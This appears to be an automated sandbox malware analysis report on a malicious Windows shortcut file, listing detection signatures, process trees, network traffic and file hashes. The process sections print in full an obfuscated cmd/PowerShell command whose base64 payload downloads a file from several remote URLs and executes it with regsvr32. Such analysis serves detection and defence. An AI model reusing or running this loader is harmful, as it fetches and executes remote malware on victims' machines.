Malware Analysis Report

2024-12-07 16:14

Sample ID 241113-m5m6va1anb
Target b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55
SHA256 b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55

Threat Level: Likely malicious

The file b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Command and Scripting Interpreter: PowerShell

An obfuscated cmd.exe command-line is typically used to evade detection.

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 11:03

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 11:03

Reported

2024-11-13 11:05

Platform

win7-20241023-en

Max time kernel

122s

Max time network

123s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /v:on /c FNBmwxR6QxBkrgJ+BX6Miv/JjezYHuOEw18Vc+d4q4lm2Szx6nmR8zgeg19If6ewK09230Kh||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"

Network

N/A

Files

memory/1636-40-0x000007FEF5F5E000-0x000007FEF5F5F000-memory.dmp

memory/1636-41-0x000000001B610000-0x000000001B8F2000-memory.dmp

memory/1636-42-0x0000000002240000-0x0000000002248000-memory.dmp

memory/1636-43-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

memory/1636-44-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

memory/1636-45-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

memory/1636-46-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

memory/1636-47-0x000007FEF5CA0000-0x000007FEF663D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 11:03

Reported

2024-11-13 11:05

Platform

win10v2004-20241007-en

Max time kernel

134s

Max time network

139s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

An obfuscated cmd.exe command-line is typically used to evade detection.

Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\b22ec84aa47a96fcc20d782d74a3f16f915e455a30d1178f4fad1466633f0b55.lnk

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /v:on /c FNBmwxR6QxBkrgJ+BX6Miv/JjezYHuOEw18Vc+d4q4lm2Szx6nmR8zgeg19If6ewK09230Kh||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -c "&{$Br='ICAgICAgIFdyaXRlLUhvc3QgInVQTlNJIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vd3d3LmpwcmFydHMuY29tL3NzbC9ROFY5NTBIRm01NnlVUG5RaEEvIiwiaHR0cDovL3JlZG1hZy1kei5jb20vam9vbWxhL0s2NnMxSVU5aC8iLCJodHRwOi8vcmV6YS1raGFsYWouY29tL2F3c3RhdHMvd0U2YmN6SWUycC8iLCJodHRwOi8vd3d3Lmpzb25zaW50bC5jb20vUnhzR2dvVld6OS8iLCJodHRwczovL29ycXVlc3RhbWVkaWEuY29tL0ZhY2Vib29rL2x1VXN5a1JrVC8iLCJodHRwOi8vcGlmZmwuY29tL3BpZmZsLmNvbS9SZFMwdWVrNURNZEUwMHkvIik7JHQ9IkloVXlNIjskZD0iJGVudjpUTVBcLi5cJHQiO21rZGlyIC1mb3JjZSAkZCB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRkXEFNemJmdGl4bkguV05UO1JlZ3N2cjMyLmV4ZSAiJGRcQU16YmZ0aXhuSC5XTlQiO2JyZWFrfSBjYXRjaCB7IH19';$Oh=[System.Convert]::FromBase64String($Br);$Xr=[System.Text.Encoding]::ASCII.GetString($Oh); iex ($Xr)}"

C:\Windows\system32\regsvr32.exe

"C:\Windows\system32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\..\IhUyM\AMzbftixnH.WNT

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 www.jprarts.com udp
US 15.197.130.221:80 www.jprarts.com tcp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 221.130.197.15.in-addr.arpa udp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 13.179.89.13.in-addr.arpa udp

Files

memory/2304-0-0x00007FFDCF233000-0x00007FFDCF235000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpbcrsdp.tvu.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2304-6-0x000002CB54F90000-0x000002CB54FB2000-memory.dmp

memory/2304-11-0x00007FFDCF230000-0x00007FFDCFCF1000-memory.dmp

memory/2304-12-0x00007FFDCF230000-0x00007FFDCFCF1000-memory.dmp

C:\Users\Admin\AppData\Local\IhUyM\AMzbftixnH.WNT

MD5 1a187c7f21df4cc93d7218be2a96dcdc
SHA1 992198b6c3183a8481f91849772daaaaa5867895
SHA256 502cab3f03b5aacb7c1caf53e2ad21140c41d4c5d781e0238525f831035c96d7
SHA512 55f2bdd3319354d445cc19d171c92a3cd3f69c5d1d1bbd12dd5080bdc85e1bcef36876af86c5581dfb0004d54ecded2105b48d4e6d5a0806e05ebb4e0cb5b023

memory/2304-17-0x00007FFDCF230000-0x00007FFDCFCF1000-memory.dmp